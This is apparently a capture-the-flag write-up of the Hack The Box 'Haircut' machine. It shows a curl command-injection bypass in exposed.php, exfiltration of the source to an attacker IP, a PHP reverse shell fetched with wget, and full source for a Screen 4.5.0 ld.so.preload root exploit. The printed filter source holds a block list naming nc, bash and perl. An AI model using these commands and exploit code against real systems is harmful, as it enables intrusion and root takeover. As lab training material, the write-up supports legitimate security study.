Haircut

tags: HTB Medium Linux OSCP
Platform: Hackthebox
Difficult: Medium
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick open ports scan.

$ nmap -p- -T4 10.10.10.24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-09 00:20 CEST
Nmap scan report for 10.10.10.24
Host is up (0.10s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 432.83 seconds

Now that we know the open ports, let's scan them in depth.

$ nmap -A -Pn -p 22,80 10.10.10.24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-09 00:28 CEST
Nmap scan report for 10.10.10.24
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open  http    nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title:  HTB Hairdresser 
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 3.18 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   147.35 ms 10.10.14.1
2   147.41 ms 10.10.10.24

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.12 seconds

Port 80

Gobuster

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.24/ -x html,php -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.24/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,php
[+] Timeout:                 10s
===============================================================
2021/05/09 09:34:08 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 144]
/uploads              (Status: 301) [Size: 194] [--> http://10.10.10.24/uploads/]
/test.html            (Status: 200) [Size: 223]                                  
/hair.html            (Status: 200) [Size: 141]                                  
/exposed.php          (Status: 200) [Size: 446]                                  

===============================================================
2021/05/09 09:56:41 Finished
===============================================================

Checking the exposed.php file we can see that there is a form that makes a request to a web page and shows the result.

Let's see if it uses curl to see if we can do a command injection.
If we make a request with the empty text field, we see that it indicates an error in the curl command.

Let's try to inject a shell.

Exploitation

exposed.php

To check if we have RCE we can ping our IP address to see if we receive ICMP requests.

$(ping -c 3 10.10.14.22)

$ tcpdump icmp -i tun0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
09:43:36.219514 IP hairdresser.htb > EvilBook: ICMP echo request, id 2508, seq 1, length 64
09:43:36.219553 IP EvilBook > hairdresser.htb: ICMP echo reply, id 2508, seq 1, length 64
09:43:37.219917 IP hairdresser.htb > EvilBook: ICMP echo request, id 2508, seq 2, length 64
09:43:37.219952 IP EvilBook > hairdresser.htb: ICMP echo reply, id 2508, seq 2, length 64
09:43:38.220529 IP hairdresser.htb > EvilBook: ICMP echo request, id 2508, seq 3, length 64
09:43:38.220567 IP EvilBook > hairdresser.htb: ICMP echo reply, id 2508, seq 3, length 64

Perfect, now doing some tests we can verify that some characters like ; and & are restricted by what we are going to receive in base64 the source code of the exposed.php file.

`curl -X POST -d "b64=$(base64 exposed.php)" 10.10.14.22/`
$ nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.10.24] 46478
POST / HTTP/1.1
Host: 10.10.14.22
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 1248
Content-Type: application/x-www-form-urlencoded
Expect: 100-continue

b64=PGh0bWw+Cgk8aGVhZD4KCQk8dGl0bGU+SGFpcmRyZXNzZXIgY2hlY2tlcjwvdGl0bGU+Cgk8L2hl
YWQ+Cgk8Ym9keT4KCTxmb3JtIGFjdGlvbj0nZXhwb3NlZC5waHAnIG1ldGhvZD0nUE9TVCc+CgkJ
PHNwYW4+CgkJPHA+CgkJRW50ZXIgdGhlIEhhaXJkcmVzc2VyJ3MgbG9jYXRpb24geW91IHdvdWxk
IGxpa2UgdG8gY2hlY2suIEV4YW1wbGU6IGh0dHA6Ly9sb2NhbGhvc3QvdGVzdC5odG1sCgkJPC9w
PgoJCTwvc3Bhbj4KCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZm9ybXVybCcgaWQ9J2Zvcm11
cmwnIHdpZHRoPSc1MCcgdmFsdWU9J2h0dHA6Ly9sb2NhbGhvc3QvdGVzdC5odG1sJy8+CgkJPGlu
cHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nR28nIGlkPSdzdWJtaXQnIC8+
Cgk8L2Zvcm0+Cgk8c3Bhbj4KCQk8P3BocCAKCQkJaWYoaXNzZXQoJF9QT1NUWydmb3JtdXJsJ10p
KXsKCQkJZWNobyAiPHA+UmVxdWVzdGluZyBTaXRlLi4uPC9wPiI7IAoJCQkkdXNlcnVybD0kX1BP
U1RbJ2Zvcm11cmwnXTsKCQkJJG5hdWdodHl1cmw9MDsKCQkJJGRpc2FsbG93ZWQ9YXJyYXkoJyUn
LCchJywnfCcsJzsnLCdweXRob24nLCduYycsJ3BlcmwnLCdiYXNoJywnJicsJyMnLCd7JywnfScs
J1snLCddJyk7CgkJCWZvcmVhY2goJGRpc2FsbG93ZWQgYXMgJG5hdWdodHkpewoJCQkJaWYoc3Ry
cG9zKCR1c2VydXJsLCRuYXVnaHR5KSAhPT1mYWxzZSl7CgkJCQkJZWNobyAkbmF1Z2h0eS4nIGlz
IG5vdCBhIGdvb2QgdGhpbmcgdG8gcHV0IGluIGEgVVJMJzsKCQkJCQkkbmF1Z2h0eXVybD0xOwoJ
CQkJfQoJCQl9CgkJCWlmKCRuYXVnaHR5dXJsPT0wKXsKCQkJCWVjaG8gc2hlbGxfZXhlYygiY3Vy
bCAiLiR1c2VydXJsLiIgMj4mMSIpOyAKCQkJfQoJCQl9CgkJPz4KCTwvc3Bhbj4KCTwvYm9keT4K
PC9odG1sPgoK

As we can see, we can't execute any of these characters '%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']'.

<html>
    <head>
        <title>Hairdresser checker</title>
    </head>
    <body>
    <form action='exposed.php' method='POST'>
        <span>
        <p>
        Enter the Hairdresser's location you would like to check. Example: http://localhost/test.html
        </p>
        </span>
        <input type='text' name='formurl' id='formurl' width='50' value='http://localhost/test.html'/>
        <input type='submit' name='submit' value='Go' id='submit' />
    </form>
    <span>
        <?php 
            if(isset($_POST['formurl'])){
                echo "<p>Requesting Site...</p>"; 
                $userurl=$_POST['formurl'];
                $naughtyurl=0;
                $disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']');
                foreach($disallowed as $naughty){
                    if(strpos($userurl,$naughty) !==false){
                        echo $naughty.' is not a good thing to put in a URL';
                        $naughtyurl=1;
                    }
                }
                if($naughtyurl==0){
                    echo shell_exec("curl ".$userurl." 2>&1"); 
                }
            }
        ?>
    </span>
    </body>
</html>

Knowing these restrictions we can upload a shell in PHP to /tmp and execute it later.

$(wget 10.10.14.22/shell.php -O /tmp/shell.php)

Now with a terminal listening we run our shell with php.

$(php /tmp/shell.php)
$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.10.24] 53456
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 21:35:12 up 11 min,  0 users,  load average: 0.02, 0.03, 0.01
USER     TTY      FROM             [email protected]   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1651): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/$

Post exploitation

Enumeration

SUID

As we can see on the list, Screen is configured as SUID and looking at exploit-db we can find this exploit for the Screen version that is installed on the system.

[email protected]:/$ find / -perm /4000 2>/dev/null
/bin/ntfs-3g
/bin/ping6
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/umount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/passwd
/usr/bin/screen-4.5.0
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1

Privilege escalation: www-data to root

The system is not ready to compile our libhax.so bookstore so we are going to compile along with rootshell.c on our system and we upload the binaries to the box.

$ cat << EOF > /tmp/libhax.c
> #include <stdio.h>
> #include <sys/types.h>
> #include <unistd.h>
> __attribute__ ((__constructor__))
> void dropshell(void){
>     chown("/tmp/rootshell", 0, 0);
>     chmod("/tmp/rootshell", 04755);
>     unlink("/etc/ld.so.preload");
>     printf("[+] done!\n");
> }
> EOF
$ gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
    7 |     chmod("/tmp/rootshell", 04755);
      |     ^~~~~
$ cat << EOF > /tmp/rootshell.c
> #include <stdio.h>
> int main(void){
>     setuid(0);
>     setgid(0);
>     seteuid(0);
>     setegid(0);
>     execvp("/bin/sh", NULL, NULL);
> }
> EOF
$ gcc -o /tmp/rootshell /tmp/rootshell.c
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    3 |     setuid(0);
      |     ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    4 |     setgid(0);
      |     ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
    5 |     seteuid(0);
      |     ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
    6 |     setegid(0);
      |     ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
    7 |     execvp("/bin/sh", NULL, NULL);
      |     ^~~~~~
/tmp/rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]

Perfect, now we upload the binaries to /tmp, we create a script with the rest of the exploit to make it automatic and we will give you execution permissions.

> echo "[+] Now we create our /etc/ld.so.preload file..."
> cd /etc
> umask 000 # because
> screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
> echo "[+] Triggering..."
> screen -ls # screen itself is setuid, so... 
> /tmp/rootshell
> EOF
[email protected]:/etc$ cd /tmp     
[email protected]:/tmp$ chmod +x rootshell.sh

And it's time to run the script and receive root!

[email protected]:/tmp$ ./rootshell.sh 
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
#